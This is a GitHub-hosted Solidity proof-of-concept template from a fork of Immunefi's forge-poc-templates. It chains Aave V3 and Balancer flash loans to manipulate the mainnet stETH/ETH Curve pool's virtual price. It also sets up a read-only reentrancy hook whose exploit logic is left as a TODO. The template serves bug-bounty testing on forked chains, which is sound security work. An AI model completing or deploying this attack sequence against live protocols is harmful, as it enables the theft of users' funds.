forked from immunefi-team/forge-poc-templates
-
Notifications
You must be signed in to change notification settings - Fork 3
/
PriceManipulationExample.sol
141 lines (123 loc) · 6.55 KB
/
PriceManipulationExample.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
pragma solidity ^0.8.0;
import "../PriceManipulation.sol";
import "../../tokens/Tokens.sol";
import "../../flashloan/FlashLoan.sol";
import "forge-std/console.sol";
import "forge-std/Test.sol";
contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens {
using FlashLoanProvider for FlashLoanProviders;
using PriceManipulationProvider for PriceManipulationProviders;
// stETH / ETH Curve pool
ICurvePool curvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
function initiateAttack() external {
console.log("---------------------------------------------------------------------------");
console.log("Curve Virtual Price BEFORE:", curvePool.get_virtual_price());
// Deal ether to cover fees and losses
deal(EthereumTokens.WETH, address(this), 22.3 ether);
deal(EthereumTokens.NATIVE_ASSET, address(this), 3.5 ether);
takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.WETH, 50000e18);
}
function _executeAttack() internal override(PriceManipulation, FlashLoan) {
if (currentFlashLoanProvider() == FlashLoanProviders.BALANCER) {
// Unwrap flash loaned wstETH to manipulate Curve pool
console.log("---------------------------------------------------------------------------");
IWrapped(address(EthereumTokens.wstETH)).unwrap(50000e18);
console.log("ETH :", address(this).balance);
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));
manipulatePrice(
PriceManipulationProviders.CURVE, EthereumTokens.ETH, EthereumTokens.stETH, 50000e18, 50000e18
);
console.log("---------------------------------------------------------------------------");
console.log("Pay back stETH flash loan");
console.log("ETH :", address(this).balance);
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));
// Wrap stETH to pay back flash loan
EthereumTokens.stETH.approve(address(EthereumTokens.wstETH), type(uint256).max);
IWrapped(address(EthereumTokens.wstETH)).wrap(EthereumTokens.stETH.balanceOf(address(this)));
} else if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV3) {
// Unwrap ether to use in price manipulation
IWrappedEther(address(EthereumTokens.WETH)).withdraw(50000e18);
// Borrow wstETH
takeFlashLoan(FlashLoanProviders.BALANCER, EthereumTokens.wstETH, 50000e18);
// Unrawp wstETH and swap stETH to Ether to pay back AAVEV3 loan
IWrapped(address(EthereumTokens.wstETH)).unwrap(EthereumTokens.wstETH.balanceOf(address(this)));
EthereumTokens.stETH.approve(address(curvePool), type(uint256).max);
curvePool.exchange(1, 0, EthereumTokens.stETH.balanceOf(address(this)), 0);
// Wrap Ether to pay back AAVEV3 loan
IWrappedEther(address(EthereumTokens.WETH)).deposit{value: address(this).balance}();
console.log("---------------------------------------------------------------------------");
console.log("Pay back WETH flash loan");
console.log("ETH :", address(this).balance);
console.log("WETH :", EthereumTokens.WETH.balanceOf(address(this)));
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));
console.log("wstETH:", EthereumTokens.wstETH.balanceOf(address(this)));
}
}
function _completeAttack() internal override(PriceManipulation, FlashLoan) {
console.log("---------------------------------------------------------------------------");
console.log("Curve Virtual Price AFTER:", curvePool.get_virtual_price());
console.log("ETH :", address(this).balance);
console.log("WETH :", EthereumTokens.WETH.balanceOf(address(this)));
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));
console.log("wstETH:", EthereumTokens.wstETH.balanceOf(address(this)));
}
receive() external payable override {
if (currentPriceOracleProvider() == PriceManipulationProviders.CURVE) {
// Execute read only reentrancy
// Caller should be curve pool
console.log("---------------------------------------------------------------------------");
console.log("Curve Virtual Price DURING:", curvePool.get_virtual_price());
console.log("ETH :", address(this).balance);
console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this)));
console.log("Execute price manipulation attack HERE");
// TODO: Add exploit logic
}
}
fallback() external payable override(FlashLoan, Reentrancy) {
FlashLoan._fallback();
}
}
interface ICurvePool {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
function add_liquidity(uint256[2] calldata amounts, uint256 minMintAmount) external payable returns (uint256);
function remove_liquidity(uint256 amount, uint256[2] memory minAmounts) external returns (uint256);
function remove_liquidity_imbalance(uint256[2] memory amounts, uint256 maxBurnAmount) external returns (uint256);
function balances(uint256 i) external view returns (uint256);
function lp_token() external view returns (address);
function get_virtual_price() external view returns (uint256);
}
interface IWrapped {
function wrap(uint256) external;
function unwrap(uint256) external;
}
interface IWrappedEther {
function deposit() external payable;
function withdraw(uint256) external;
}
interface UniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut)
external
pure
returns (uint256 amountOut);
function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut)
external
pure
returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}